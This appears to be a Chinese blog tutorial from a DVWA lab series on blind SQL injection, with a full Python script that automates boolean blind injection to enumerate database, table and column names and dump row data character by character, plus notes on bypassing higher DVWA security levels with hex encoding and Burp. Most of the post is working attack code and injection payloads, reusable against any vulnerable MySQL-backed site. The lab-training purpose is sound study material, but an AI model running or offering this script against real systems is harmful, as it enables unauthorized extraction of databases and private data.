DVWA(七) - 使用python脚本实现SQL盲注

8 篇文章 1 订阅

SQL Injection (Blind)

sql盲注其实就是sql注入的一种,但是不会根据sql注入的攻击语句返回你想要知道的信息.
盲注分为两种:
布尔盲注以及时间盲注
布尔盲注:

根据你的注入信息返回True和Fales,而返回的True和Fales可能有不同的表现形式,根据不同的网页分析.

时间盲注:

当界面的返回值只有一种true的时候,就需要加入特定的时间函数,通过判断加载web页面的时间差来确定注入的语句是否是正确的.

盲注的过程:

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名 -> 猜解数据库的长度 -> 猜解数据库的名称
3.猜解数据录中的表名 -> 猜解库中有几个表 -> 猜解表的长度 -> 猜解表的名称
4.猜解表中的字段名 -> 猜解表中有几个字段 -> 猜解字段的长度 -> 猜解字段的名称
5.猜解数据

环境: dvwa搭建在win7 x64系统,IP为:192.168.157.137.
界面:
在这里插入图片描述

输入正确时:
在这里插入图片描述

输出错误时:
在这里插入图片描述
相当于是返回运行结果是true还是fales,布尔盲注和时间盲注都是可以的,这里我们使用布尔型的盲注.
基于以上情况,为了更好的理解盲注,编写了一个盲注的脚本,还请各位大佬指点.

注:
该脚本是基于Low级别所写,想要在medium级别下运行,需要修改头部信息以及上传的参数.
high级别预防了自动化工具的使用,所以无法使用脚本.
并且该脚本是建立在目标服务器使用的mysql 5.0版本以上的数据库才行,因为有information_schema库,否则就需要使用大量的字典匹配.

脚本主体

我会将脚本的每个阶段的都大致解释一下,在最下面放置脚本的完整版.

用来构建header头部信息,以及得到requests中的url参数

def get_header():
    print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
    url = input()
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()
    
    cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
    headers={
        'Host': f'{ip}',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests':'1'
    }
    return headers,url

访问构建好的url,并且判断结果是True还是Fales

def judge(text):
    try:
        if 'exists' in  re.search('User ID.*?database',text).group():
            return 1
        else :
            return 0 
    except:
        return 0
def low_res(sql):
    Id = f'?id={sql}&Submit=Submit#'
    #print(url+Id)
    r = requests.get(url+Id,headers=headers).text
    #print(r)
    return judge(r)

判断网站是否存在注入点:

    print('<-- 判断该网页是否存在注入点-->')
    print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
    if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
        print('此处存在注入点,并且注入类型为字符型')
    elif low_res("1 and 1=1") != low_res("1 and 1=2"):
        print('此处存在注入点,并且注入类型为数字型')
    else:
        print('不存在注入,退出')
        quit()

判断数据库名的长度.

	print('<-- 猜解数据库名的长度-->')
    print("注入语句 ---> 1' and length(database())=1# ")
    for i in range(10):
        sql = f"1%27+and+length(database())%3D{i}%23"
        if low_res(sql) == 1:
            databasename_num = i
            break
    print(f'数据库名称长度为: {databasename_num}')

猜解数据库名,这里使用substr函数遍历数据库名中的每一个字母,与ascii码进行匹配,匹配成功则返回true

	print('<-- 猜解数据库名称 -->')
    print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
    database_name=''
    for i in range(databasename_num):
        for j in range(65,123):
            sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                database_name += chr(j)
                break
    print(f'数据库名称为:{database_name}\n\n')

接下来就应该判断该数据库有几张表

	print('<-- 猜解库中有几张表 -->')
    print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
    for i in range(9999):
        sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该库中有{i}张表\n\n')
            table_num = i
            break

使用count函数计算该库中有几张表,并且因为python中的for循环的运行速度是快过完全使用python写出来的while循环的,所以我习惯是使用for循环.


为了得到所有的表名,需要先知道每个表的字段名长度.

  	print('<--猜解每一列的长度-->')
    print("注入语句 --->   1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#")

    lie_lenth = []
    for i in range(lie_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                lie_lenth.append(j)
                break

在得到字段长度之后,就可以与ascii码进行对比得到所有的表名

	print('<--猜解每一列的名称-->')
    print("注入语句 --->   1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#")

    lie_name = ''
    lie_name_list = []
    for i in range(len(lie_lenth)):
        for j in range(lie_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C{j+1}))%3D{g}%23"
                if low_res(sql) == 1:
                    lie_name += chr(g)
                    print(chr(g),end = '')
                    break
        print('')
        lie_name_list.append(lie_name)
        lie_name = ''
    print(f'该库中的表名为:',end='')
    #print(lie_name_list)
    list(map(lambda i:print(i,end='  '),[i for i in lie_name_list]))

需要理解清楚substr和LIMIT函数的用法.


在做完这一切之后,我觉得实在是太麻烦,先要确定有几个字段,然后在确定每个字段的长度,最后才可以与ascii进行对比得到结果,所以我就想,每一个字段与每一个字段之间是否有什么比较特殊的字符,结束的时候又有什么标志位,如果解决了这两个问题,那么写脚本就可以依次获得库名,表名,列名以及最终的数据.

在多次尝试之后,我发现

譬如说 查到的结果为 1 2 3 4 5 6,则123456之间的ascii码为0,也就是NULL,如果数据本身就为空呢?那么可以判断是否是值+NULL,如果是,则跳转到下一个值,如果不是,则证明此处的值为NULL.
6之后是什么呢?不知道,但是ascii码中没有可以匹配上的,所以如果循环了一遍仍然没有匹配上,则证明这次查询已经结束.

循环结束的标志已经找到,所以可以直接得到表内的数据.
代码:

    print('<--得到数据-->')
    print("注入语句 --->   1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")

    data = {}

    for xxx in range(999):
        a = input('退出请输入q,选择表请回车')
        if a == 'q':
            break
        else:
            list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
            lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
            res = ''
            huancun = []
            for i in range(9999):
                for j in range(1,9999):
                    for g in range(128):
                        NULL=0
                        ascii_wu = 0
                        sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
                        if low_res(sql) == 1:
                            if g == 0:
                                NULL = 1
                                if res=='':
                                	res == 'NULL'
                                break
                            res += chr(g)
                            print(chr(g),end = '')
                            break
                    else:
                         ascii_wu = 1
                    if NULL == 1 or ascii_wu == 1:
                        break
                if ascii_wu == 1:
                    break
                huancun.append(res)
                res = ''
                print()
            data[lie_name] = huancun

data中存放着所有查询到的数据,以表格形式输出.

    for i in data.keys():
        print(f'\t{i}\t',end = '')
    print()
    data_list = list(data.values())
    for i in range(len((data_list)[0])):
        for j in range(len(data_list)):
            print(f'\t{data_list[j][i]}\t',end = '')
        print()

主体函数以及一些自己的理解:

if __name__ == '__main__':
    headers,url = get_header()
    sql_attack(headers,url)


    print('''
Low        --> 没什么过滤,直接走一遍盲注的过程就好
Medium    --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
               GET变成POST     解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
                                                                            |
                                                                            V
                                                                        sql注入语句在这里
               字符型改为数字型                                    解决 -> 修改sql语句,将1'改为1
               使用mysqli_real_escape_string函数过滤'"等特殊字符    解决 -> 16进制代替 
High       -->  LIMIT限制       解决 -> 最后加# 注释掉就ok    
                点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
                随机时间等待,防止使用sleep注入,布尔型不影响

Impossible -->  添加PDO,无懈可击

    ''')

所有代码如下

import requests,re

def get_header():
    print('输入处于sql注入界面的完整URL,eg "http://192.168.157.137/DVWA-master/vulnerabilities/sqli_blind/"')
    url = input()
    ip = re.search('\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}',url).group()
    
    cookie = input('将已经登陆的PHPSESSID值输入(burp可以抓到,或者审查页面元素查看cookies):')
    headers={
        'Host': f'{ip}',
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Referer': f'{url}',
        'Connection': 'close',
        'Cookie': f'security=low; PHPSESSID={cookie}',
        'Upgrade-Insecure-Requests':'1'
    }
    return headers,url



def judge(text):
    try:
        if 'exists' in  re.search('User ID.*?database',text).group():
            return 1
        else :
            return 0 
    except:
        return 0




def low_res(sql):
    Id = f'?id={sql}&Submit=Submit#'
    #print(url+Id)
    r = requests.get(url+Id,headers=headers).text
    #print(r)
    return judge(r)




def sql_attack(headers,url):
    print('<-- 判断该网页是否存在注入点-->')
    print("注入语句 ---> 1' and '1'='1 , 1' and '1'='2")
    if low_res("1' and '1'='1") != low_res("1' and '1'='2") :
        print('此处存在注入点,并且注入类型为字符型')
    elif low_res("1 and 1=1") != low_res("1 and 1=2"):
        print('此处存在注入点,并且注入类型为数字型')
    else:
        print('不存在注入,退出')
        quit()
    print('\n'*2)

    print('<-- 猜解数据库名的长度-->')
    print("注入语句 ---> 1' and length(database())=1# ")
    for i in range(10):
        sql = f"1%27+and+length(database())%3D{i}%23"
        if low_res(sql) == 1:
            databasename_num = i
            break
    print(f'数据库名称长度为: {databasename_num}')
    print('\n'*2)

    print('<-- 猜解数据库名称 -->')
    print("注入语句 ---> 1' and ascii(substr(database(),1,1))>97# ")
    database_name=''
    for i in range(databasename_num):
        for j in range(65,123):
            sql = f"1'+and+ascii(substr(database()%2C{i+1}%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                database_name += chr(j)
                break
    print(f'数据库名称为:{database_name}\n\n')

    print('<-- 猜解库中有几张表 -->')
    print("注入语句 ---> 1' and (select count(table_name) from information_schema.tables where table_schema='[database_name]')=1# ")
    for i in range(9999):
        sql = f"1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3D'{database_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该库中有{i}张表\n\n')
            table_num = i
            break

    print('<--猜解库中所有的表长度-->')
    print("注入语句 --->  1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")
    table_lenth = []
    for i in range(table_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                table_lenth.append(j)    
                break
    print(f'该库中的表长度为:',end='')
    list(map(lambda i:print(i,end='  '),[i for i in table_lenth]))
    print('\n'*2)

    table_name = ''
    table_name_list = []
    print('<--猜解所有的表名-->')
    print("注入语句 --->   1' and length(substr((select table_name from information_schema.tables where table_schema=[database_name] limit 0,1),1))=9#")

    for i in range(len(table_lenth)):
        for j in range(table_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3D'{database_name}'+limit+{i}%2C1)%2C{j+1}))={g}%23"
                if low_res(sql) == 1:
                    table_name += chr(g)
                    print(chr(g),end='')
                    break
        table_name_list.append(table_name)
        table_name = ''
        print('')
    print(f'该库中的表名为:',end='')
    list(map(lambda i:print(i,end='  '),[i for i in table_name_list]))
    print('\n'*2)


    print('<--猜解表中列数-->')
    print("注入语句 --->   1' and (select count(column_name) from information_schema.columns where table_name=[table_name])=1#")
    list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(table_name_list)]))
    table_name = [x for x in table_name_list][int(input('请选择查看哪个表的数据:'))]

    for i in range(9999):
        sql = f"1'+and+(select+count(column_name)+from+information_schema.columns+where+table_name%3D'{table_name}')%3D{i}%23"
        if low_res(sql) == 1:
            print(f'该表中有{i}列\n\n')
            lie_num = i
            break

    print('<--猜解每一列的长度-->')
    print("注入语句 --->   1' and length(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=1#")

    lie_lenth = []
    for i in range(lie_num):
        for j in range(9999):
            sql = f"1'+and+length(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C1))%3D{j}%23"
            if low_res(sql) == 1:
                lie_lenth.append(j)
                break


    #print(lie_lenth)
    print(f'该表中每列的长度为:',end='')
    list(map(lambda i:print(i,end=' '),[i for i in lie_lenth]))
    print('\n'*2)

    print('<--猜解每一列的名称-->')
    print("注入语句 --->   1' and ascii(substr((select column_name from information_schema.columns where table_name=[table_name] limit 0,1),1))=97#")


    lie_name = ''
    lie_name_list = []
    for i in range(len(lie_lenth)):
        for j in range(lie_lenth[i]):
            for g in range(65,123):
                sql=f"1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name%3D'{table_name}'+limit+{i}%2C1)%2C{j+1}))%3D{g}%23"
                if low_res(sql) == 1:
                    lie_name += chr(g)
                    print(chr(g),end = '')
                    break
        print('')
        lie_name_list.append(lie_name)
        lie_name = ''
    print(f'该库中的表名为:',end='')
    #print(lie_name_list)
    list(map(lambda i:print(i,end='  '),[i for i in lie_name_list]))
    print('\n'*2)


    print('<--得到数据-->')
    print("注入语句 --->   1' and (ascii(substr((select [lie_name] from [table_name] limit 0,1),1,1)))=97#")

    data = {}

    for xxx in range(999):
        a = input('退出请输入q,选择表请回车')
        if a == 'q':
            break
        else:
            list(map(lambda x:print(f'{x[0]}:{x[1]}'),[(x,y) for x,y in enumerate(lie_name_list)]))
            lie_name = [x for x in lie_name_list][int(input('请选择查看哪个表的数据:'))]
            res = ''
            huancun = []
            for i in range(9999):
                for j in range(1,9999):
                    for g in range(128):
                        NULL=0
                        ascii_wu = 0
                        sql = f"1'+and+(ascii(substr((select+{lie_name}+from+{table_name}+limit+{i}%2C1)%2C{j}%2C1)))%3D{g}%23"
                        if low_res(sql) == 1:
                            if g == 0:
                                NULL = 1
                                if res=='':
                                	res == 'NULL'
                                break
                            res += chr(g)
                            print(chr(g),end = '')
                            break
                    else:
                         ascii_wu = 1
                    if NULL == 1 or ascii_wu == 1:
                        break
                if ascii_wu == 1:
                    break
                huancun.append(res)
                res = ''
                print()
            data[lie_name] = huancun


    for i in data.keys():
        print(f'\t{i}\t',end = '')
    print()
    data_list = list(data.values())
    for i in range(len((data_list)[0])):
        for j in range(len(data_list)):
            print(f'\t{data_list[j][i]}\t',end = '')
        print()
        

        
if __name__ == '__main__':
    headers,url = get_header()
    sql_attack(headers,url)


    print('''
Low        --> 没什么过滤,直接走一遍盲注的过程就好
Mmedium    --> 界面变为下拉菜单 解决 -> 直接burp抓包修改数据就好
               GET变成POST     解决 -> 修改heards头部,reqesets.post(url = url,data = data,header = header)
                                                                            |
                                                                            V
                                                                        sql注入语句在这里
               字符型改为数字型                                    解决 -> 修改sql语句,将1'改为1
               使用mysqli_real_escape_string函数过滤'"等特殊字符    解决 -> 16进制代替 
High       -->  LIMIT限制       解决 -> 最后加# 注释掉就ok    
                点击弹窗进行验证,实时检查cookie,杜绝了自动化攻击,手注无影响
                随机时间等待,防止使用sleep注入,布尔型不影响

Impossible -->  添加PDO,无懈可击

    ''')
    

运行截图:
在这里插入图片描述最终结果:
在这里插入图片描述

  • 0
    点赞
  • 31
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值